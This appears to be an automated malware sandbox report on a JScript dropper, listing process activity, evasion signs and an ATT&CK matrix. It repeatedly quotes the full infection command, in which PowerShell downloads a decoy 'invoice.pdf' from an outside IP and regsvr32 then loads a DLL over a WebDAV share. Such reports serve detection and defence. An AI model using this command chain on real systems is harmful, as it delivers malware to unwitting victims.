Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1383.js.csv");ITextStream.WriteLine(" entry:8010 f:kvout");ITextStream.WriteLine(" exec:2 f:kvout");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5096			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4656			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep count: 5096 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep count: 4656 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7740	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8016	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1397997172.00000192408A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s
Source: net.exe, 00000007.00000003.1459100469.000001FE680EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2688311486.000002222422F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2689977943.000002222985A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1461232201.000001FE68088000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
